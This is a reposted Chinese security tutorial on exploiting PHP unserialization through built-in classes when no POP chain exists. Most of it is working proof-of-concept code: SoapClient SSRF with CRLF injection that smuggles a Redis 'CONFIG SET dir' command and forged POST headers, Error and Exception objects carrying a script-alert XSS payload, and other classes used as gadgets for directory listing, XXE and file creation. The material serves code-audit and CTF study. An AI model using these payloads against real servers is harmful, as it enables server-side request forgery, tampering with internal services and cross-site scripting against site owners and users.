反序列化之PHP原生类的利用

「爱情、让人受尽委屈。」 2021-12-12 00:29 132阅读 0赞

**目录**

*  [基础知识][Link 1]
 *  [\_\_call][call]
    
     *  [SoapClient][]
 *  [\_\_toString][toString]
    
     *  [Error][]
     *  [Exception][]
 *  [实例化任意类][Link 2]

**正文**

文章围绕着一个问题，如果在代码审计中有反序列化点，但是在原本的代码中找不到pop链该如何?  
N1CTF有一个无pop链的反序列化的题目，其中就是找到php内置类来进行反序列化。

[回到顶部][Link 3]

## 基础知识 ##

首先还是来回顾一下序列化中的魔术方法，下面也将以此进行分类来进行研究。

当对象被创建的时候调用：__construct 当对象被销毁的时候调用：__destruct 当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发)：__toString 序列化对象之前就调用此方法(其返回需要是一个数组)：__sleep 反序列化恢复对象之前就调用此方法：__wakeup 当调用对象中不存在的方法会自动调用此方法：__call

看一下当前php本身内置类有：

<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }

当然有些类不一定能够进行反序列化，php中使用了`zend_class_unserialize_deny`来禁止一些类的反序列化，比如序列化`DirectoryIterator`的时候。

![804631-20180316165014708-1262920365.jpg][]

当然这也和PHP版本也有一些关系，寻找的几个类中，发现在php5.3以前都是没有如此的限制。

![804631-20180316165027190-1950745549.jpg][]

[回到顶部][Link 3]

## \_\_call ##

### SoapClient ###

这个也算是目前被挖掘出来最好用的一个内置类，php5、7都存在此类。

#### SSRF ####

<?php $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();

![804631-20180316165041409-1571225758.jpg][]

但是它仅限于http/https协议，用处不是很大。

![804631-20180316165053500-716737406.jpg][]

但是这里http头部还存在crlf漏洞，可以再去drops回顾一下如何通过http来hack redis，[Trying to hack Redis via HTTP requests][]

<?php $poc = "CONFIG SET dir /root/"; $target = "http://example.com:5555/"; $b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); //Test $c = unserialize($aaa); $c->notexists();

![804631-20180316165113533-1948175046.jpg][]

对于如何发送POST的数据包，这里面还有一个坑，就是`content-type`的设置，当是可以看到上面的数据包，`user_agent`的头部是在`content-type`的下面，所以我们可以通过`SoapClient`来设置`user_agent`，再使用crlf将`content-type`给往下挤。

来自wupco师傅的poc:

<?php $target = "http://example.com:5555/"; $post_string = 'data=abc'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa);

![804631-20180316165126622-199442235.jpg][]

[回到顶部][Link 3]

## \_\_toString ##

### Error ###

适用于php7版本

#### XSS ####

开启报错的情况下:

<?php
    $a = new Error("<script>alert(1)</script>"); $b = serialize($a); echo urlencode($b); //Test $t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'); $c = unserialize($t); echo $c;

![804631-20180316165139761-1813736165.jpg][]

### Exception ###

适用于php5、7版本

#### XSS ####

开启报错的情况下:

<?php
    $a = new Exception("<script>alert(1)</script>"); $b = serialize($a); echo urlencode($b); //Test $c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D'); echo unserialize($c);

[回到顶部][Link 3]

## 实例化任意类 ##

可调用任意类的时候找`__construct`的时候一些可用的类：  
案例：[pornhub某漏洞][pornhub]

可获取目录  
DirectoryIterator

XXE  
SimpleXMLElement

创建空白文件  
SQLite3

know it then do it

分类: [代码审计][Link 4]

转载自：https://www.cnblogs.com/iamstudy/articles/unserialize\_in\_php\_inner\_class.html

转载于:https://www.cnblogs.com/ashe666/p/11088109.html

[Link 1]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label0
[call]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1
[SoapClient]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0
[toString]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2
[Error]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2_0
[Exception]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2_1
[Link 2]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label3
[Link 3]: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_labelTop
[804631-20180316165014708-1262920365.jpg]: /images/20211211/3d1638a055824bfe873a1338197d9177.png
[804631-20180316165027190-1950745549.jpg]: /images/20211211/cc1a1a22d7eb4e84a38e6bb4744ec1e9.png
[804631-20180316165041409-1571225758.jpg]: /images/20211211/09e97f8cfc1b4e728c8e4e831c061975.png
[804631-20180316165053500-716737406.jpg]: /images/20211211/582ee0a624a6466a81527d5dac881626.png
[Trying to hack Redis via HTTP requests]: http://wooyun.jozxing.cc/static/drops/papers-3062.html
[804631-20180316165113533-1948175046.jpg]: /images/20211211/08a6fa08e54d4b61ba9fef898b651487.png
[804631-20180316165126622-199442235.jpg]: /images/20211211/a78babb8e1fe4b0080421bbeb6b80352.png
[804631-20180316165139761-1813736165.jpg]: /images/20211211/03678ea123dc44d5b844019aa370e849.png
[pornhub]: https://5haked.blogspot.jp/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1
[Link 4]: https://www.cnblogs.com/iamstudy/category/766766.html